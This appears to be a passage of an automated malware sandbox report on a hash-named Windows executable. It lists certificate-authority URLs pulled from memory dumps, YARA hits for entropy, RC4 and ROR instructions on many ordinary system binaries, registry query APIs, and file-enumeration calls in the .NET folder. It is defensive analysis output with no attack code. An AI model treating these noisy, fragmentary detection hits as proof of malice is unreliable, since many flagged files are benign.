Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcverisign," - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;geotrust" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://crl.usertrust.com/utn-use0p1+0)" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0izttpsalt" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1english1sea" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "https://secure.comodo.com/cps0" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com05addons.mozilla.orgwww.addons.mozilla.org0zsb)j9e/9ckx" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0%www.google.comgoogle.com0io]l,e9n0p1+0)" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://www.public-trust.com/cps/omniroot.html0w0u1gte" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0dmxt*j]+xijom5osalt" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/login.skype.comwww.login.skype.com0ynslentrust.net1;092www.entrust.net/cps" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://ocsp.entrust.net03,0*0(" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0;8kbv7.11c)d[b" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0w0u1staat" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domovlatestcrl.crl0]ko)tsz'" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0\0z1staat" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domorganisatielatestcrl-g2.crl0^tl*" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://cybertrust.omniroot.com/repository.cfm0w0u1gte" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0j)z" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?u3" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacodesigningca.crli6t7jiy7nkymtqcec58h8wok0ps%2fpt9hlfnnk8%3dlocal" - Source: "00000000-00003968.00000001.69471.06010000.00000004.mdmp") Found URL "http://ocsp.comodoca.com/mfewtzbnmeswstajbgurdgmcgguabbssdxxdg447ymkrnpvviulv3rkbzqqukzfg%2f4pn%2buv5pmq4z%2fnms71jzhicehwrgmu63jxan1lebkeiddg%3dlocal" - Source: "00000000-00003968.00000001.69471.06010000.00000004.mdmp") Found URL "http://ocsp.usertrust.com/mfewtzbnmeswstajbgurdgmcgguabbr8swzunkvbro5ijhat9gv793rvlaqurb2yejs0jvf6xczu7wo94ctlvbocecdm7lbrsfooq9dwovye3ii%3d\\?\storage" - Source: "00000000-00003968.00000001.69471.06010000.00000004.mdmp") Found URL "http://ocsp.comodoca.com/mfewtzbnmeswstajbgurdgmcgguabbreahtobfztvharmvej38quchy9awquu69%2baj36pve8hi6t7jiy7nkymtqcec58h8wok0ps%2fpt9hlfnnk8%3dej-+\lu>gvpob\hzagxr" - Source: "00000000-00003968.00000001.69471.06010000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnk't" - Source: "00000000-00003968.00000001.69471.06010000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00003968.00000001.69471.06010000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003968.00000001.69471.06010000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lv" - Source: "00000000-00003968.00000001.69471.06010000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*ldnsr)" - Source: "00000000-00003968.00000001.69471.06010000.00000004.mdmp") Found URL "https://secure.comodo.net/cps0c<0:082http://crl.comodoca.com/comodorsacodesigningca.crl0th0f0>2http://crt.comodoca.com/comodorsacodesigningca.crt0$http://ocsp.comodoca.com0]54mioyxf'&" - Source: "00000000-00003968.00000001.69471.06010000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crlhttp://crl.comodoca.com/comodorsacodesigningca.crlources," - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://ocsp.comodoca.com/mfewtzbnmeswstajbgurdgmcgguabbssdxxdg447ymkrnpvviulv3rkbzqqukzfg%2f4pn%2buv5pmq4z%2fnms71jzhicehwrgmu63jxan1lebkeiddg%3dgreater" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "https://secure.comodo.net/cps0c<0:082http://crl.comodoca.com/comodorsacodesigningca.crl0th0f0>2http://crt.comodoca.com/comodorsacodesigningca.crt0$http://ocsp.comodoca.com0]54mioyxf'&" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-object0151231000000z190709184036z0greater" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://crl.usertrust.com/utn-userfirst-object.crl05)0'0%http://ocsp.usertrust.com03$@@ha=\c^%9" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://ocsp.digicert.com0" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://crl3.digicert.com/digicertglobalrootca.crl071http://crl4.digicert.com/digicertglobalrootca.crl0=604020*0(https://www.digicert.com/cps0s6" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcverisign," - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;geotrust" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://crl.usertrust.com/utn-use0p1+0)" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0izttpsalt" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1english1sea" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "https://secure.comodo.com/cps0" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com05addons.mozilla.orgwww.addons.mozilla.org0zsb)j9e/9ckx" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0%www.google.comgoogle.com0io]l,e9n0p1+0)" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://www.public-trust.com/cps/omniroot.html0w0u1gte" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0dmxt*j]+xijom5osalt" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/login.skype.comwww.login.skype.com0ynslentrust.net1;092www.entrust.net/cps" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://ocsp.entrust.net03,0*0(" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0;8kbv7.11c)d[b" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0w0u1staat" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domovlatestcrl.crl0]ko)tsz'" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0\0z1staat" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domorganisatielatestcrl-g2.crl0^tl*" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://cybertrust.omniroot.com/repository.cfm0w0u1gte" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0j)z" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?u3" - Source: "00000000-00003968.00000002.69543.00990000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacodesigningca.crli6t7jiy7nkymtqcec58h8wok0ps%2fpt9hlfnnk8%3dlocal" - Source: "00000000-00003968.00000002.69543.06010000.00000004.mdmp") Found URL "http://ocsp.comodoca.com/mfewtzbnmeswstajbgurdgmcgguabbssdxxdg447ymkrnpvviulv3rkbzqqukzfg%2f4pn%2buv5pmq4z%2fnms71jzhicehwrgmu63jxan1lebkeiddg%3dlocal" - Source: "00000000-00003968.00000002.69543.06010000.00000004.mdmp") Found URL "http://ocsp.usertrust.com/mfewtzbnmeswstajbgurdgmcgguabbr8swzunkvbro5ijhat9gv793rvlaqurb2yejs0jvf6xczu7wo94ctlvbocecdm7lbrsfooq9dwovye3ii%3d\\?\storage" - Source: "00000000-00003968.00000002.69543.06010000.00000004.mdmp") Found URL "http://ocsp.comodoca.com/mfewtzbnmeswstajbgurdgmcgguabbreahtobfztvharmvej38quchy9awquu69%2baj36pve8hi6t7jiy7nkymtqcec58h8wok0ps%2fpt9hlfnnk8%3dej-+\lu>gvpob\hzagxr" - Source: "00000000-00003968.00000002.69543.06010000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnk't" - Source: "00000000-00003968.00000002.69543.06010000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00003968.00000002.69543.06010000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003968.00000002.69543.06010000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lv" - Source: "00000000-00003968.00000002.69543.06010000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*ldnsr)" - Source: "00000000-00003968.00000002.69543.06010000.00000004.mdmp") Found URL "https://secure.comodo.net/cps0c<0:082http://crl.comodoca.com/comodorsacodesigningca.crl0th0f0>2http://crt.comodoca.com/comodorsacodesigningca.crt0$http://ocsp.comodoca.com0]54mioyxf'&" - Source: "00000000-00003968.00000002.69543.06010000.00000004.mdmp")8a:T5a7,YARA signature to detect high entropy file file "SearchIndexer.exe" YARA signature to detect high entropy file file "elevation_service.exe" YARA signature to detect high entropy file process "00000000-00004520" YARA signature to detect high entropy file file "00000000-00002972.00000000.72622.00172000.00000080.mdmp" YARA signature to detect high entropy file file "DW20.EXE" YARA signature to detect high entropy file file "chrome_proxy.exe" YARA signature to detect high entropy file file "AutoIt3_x64.exe" YARA signature to detect high entropy file file "7zFM.exe" YARA signature to detect high entropy file file "sample.bin" YARA signature to detect high entropy file process "00000000-00003968" YARA signature to detect high entropy file file "00000000-00002220.00000001.70568.400AA000.00000080.mdmp" YARA signature to detect high entropy file file "AdobeCollabSync.exe" YARA signature to detect high entropy file file "Aut2exe_x64.exe" YARA signature to detect high entropy file file "00000000-00002944.00000001.74081.0035D000.00000080.mdmp" YARA signature to detect high entropy file file "00000000-00004504.00000002.76335.00189000.00000080.mdmp" YARA signature to detect high entropy file file "WatAdminSvc.exe.bin" YARA signature to detect high entropy file file "WatAdminSvc.exe" YARA signature to detect high entropy file file "vm3dservice.exe" YARA signature to detect high entropy file file "notification_helper.exe"8b:T490,YARA signature to detect medium entropy file file "minidump-analyzer.exe" YARA signature to detect medium entropy file file "00000000-00002220.00000000.70553.40001000.00000020.mdmp" YARA signature to detect medium entropy file process "00000000-00003968" YARA signature to detect medium entropy file file "00000000-00002972.00000000.72622.00001000.00000020.mdmp" YARA signature to detect medium entropy file file "ehrecvr.exe" YARA signature to detect medium entropy file file "00000000-00004204.00000000.71804.00001000.00000020.mdmp" YARA signature to detect medium entropy file file "chrome_pwa_launcher.exe" YARA signature to detect medium entropy file file "00000000-00002896.00000000.72391.00001000.00000020.mdmp" YARA signature to detect medium entropy file file "setup.exe" YARA signature to detect medium entropy file file "chrmstp.exe" YARA signature to detect medium entropy file file "AcroRd32.exe" YARA signature to detect medium entropy file file "wmpnetwk.exe" YARA signature to detect medium entropy file file "00000000-00003376.00000000.70935.40001000.00000020.mdmp" YARA signature to detect medium entropy file process "00000000-00004520"8c:T6ed,YARA signature for RC4 encryption matched on file "SearchIndexer.exe" YARA signature for RC4 encryption matched on file "VMwareXferlogs.exe" YARA signature for RC4 encryption matched on file "7zG.exe" YARA signature for RC4 encryption matched on file "javaw.exe" YARA signature for RC4 encryption matched on file "OSE.EXE" YARA signature for RC4 encryption matched on file "arh.exe" YARA signature for RC4 encryption matched on file "ose.exe" YARA signature for RC4 encryption matched on file "java.exe" YARA signature for RC4 encryption matched on file "00000000-00002220.00000000.70553.40001000.00000020.mdmp" YARA signature for RC4 encryption matched on process "00000000-00004520" YARA signature for RC4 encryption matched on file "Au3Info_x64.exe" YARA signature for RC4 encryption matched on file "maintenanceservice.exe" YARA signature for RC4 encryption matched on file "elevation_service.exe" YARA signature for RC4 encryption matched on file "00000000-00002972.00000000.72622.00001000.00000020.mdmp" YARA signature for RC4 encryption matched on file "ehrecvr.exe" YARA signature for RC4 encryption matched on file "00000000-00002972.00000001.74545.00290000.00000004.mdmp" YARA signature for RC4 encryption matched on file "dwtrig20.exe" YARA signature for RC4 encryption matched on file "cblauncher.exe" YARA signature for RC4 encryption matched on file "00000000-00004204.00000000.71804.00001000.00000020.mdmp" YARA signature for RC4 encryption matched on file "pingsender.exe" YARA signature for RC4 encryption matched on file "Au3Info.exe" YARA signature for RC4 encryption matched on file "DW20.EXE" YARA signature for RC4 encryption matched on file "chrome_proxy.exe" YARA signature for RC4 encryption matched on file "AutoIt3_x64.exe"8d:T6d1,YARA signature matched on R0R instruction used in file "SearchIndexer.exe" YARA signature matched on R0R instruction used in file "VMwareXferlogs.exe" YARA signature matched on R0R instruction used in file "7zG.exe" YARA signature matched on R0R instruction used in file "pack200.exe" YARA signature matched on R0R instruction used in process "00000000-00003968" YARA signature matched on R0R instruction used in file "klist.exe" YARA signature matched on R0R instruction used in file "javaw.exe" YARA signature matched on R0R instruction used in file "OSE.EXE" YARA signature matched on R0R instruction used in file "Uninstall.exe" YARA signature matched on R0R instruction used in file "arh.exe" YARA signature matched on R0R instruction used in file "rmiregistry.exe" YARA signature matched on R0R instruction used in file "ose.exe" YARA signature matched on R0R instruction used in file "java.exe" YARA signature matched on R0R instruction used in file "minidump-analyzer.exe" YARA signature matched on R0R instruction used in file "Au3Info_x64.exe" YARA signature matched on R0R instruction used in file "WCChromeNativeMessagingHost.exe" YARA signature matched on R0R instruction used in file "maintenanceservice.exe" YARA signature matched on R0R instruction used in file "elevation_service.exe" YARA signature matched on R0R instruction used in file "Eula.exe" YARA signature matched on R0R instruction used in file "reordercap.exe" YARA signature matched on R0R instruction used in file "crashreporter.exe" YARA signature matched on R0R instruction used in file "mscorsvw.exe" YARA signature matched on R0R instruction used in file "ehrecvr.exe" YARA signature matched on R0R instruction used in file "ADelRCP.exe"8e:Te55,Found registry query API: "RegEnumValueW" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found registry query API: "RegQueryValueExW" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found registry query API: "RegOpenKeyExW" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found registry query API: "RegQueryValueExA" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found registry query API: "RegEnumValueA" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found registry query API: "RegEnumKeyExW" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found registry query API: "RegQueryInfoKeyW" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found registry query API: "RegOpenKeyExA" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found registry query API: "RegGetValueW" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found registry query API: "RegNotifyChangeKeyValue" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found registry query API: "RegEnumKeyW" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found registry query API: "NtQueryValueKey" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found registry query API: "RegRead" in file "00004636.0000121C.35634271.00400000.wprm" Found registry query API: "RegOpenKeyTransactedW" in file "00000000-00004520.00000001.74685.00051000.00000002.mdmp" Found registry query API: "SHGetValueW" in file "00000000-00004520.00000001.74685.00051000.00000002.mdmp" Found registry query API: "SHRegGetValueW" in file "00000000-00004520.00000001.74685.00051000.00000002.mdmp" Found registry query API: "RegOpenKeyEx() failed, ec=%d" in "00000000-00002220.00000000.70553.40001000.00000020.mdmp" Found registry query API: "RegQueryValueEx() failed, ec=%d - and no default value was specified" in "00000000-00002220.00000000.70553.40001000.00000020.mdmp" Found registry query API: "RegQueryValueEx() failed, ec=%d" in "00000000-00002220.00000000.70553.40001000.00000020.mdmp" Found registry query API: "RegQueryValueEx() failed[%s], ec=%d" in "00000000-00002220.00000000.70553.40001000.00000020.mdmp" Found registry query API: "RegQueryInfoKey() failed, ec=%d" in "00000000-00002220.00000000.70553.40001000.00000020.mdmp" Found registry query API: "RegEnumKey() failed, ec=%d" in "00000000-00002220.00000000.70553.40001000.00000020.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp, 00000000-00004600.00000001.72048.00001000.00000020.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp, 00000000-00004600.00000001.72048.00001000.00000020.mdmp" Found registry query API: "RegQueryInfoKeyW" in "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp"8f:Teac,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindNextFileW" with parameter v1.0.3705 (UID: 00000000-00003968) 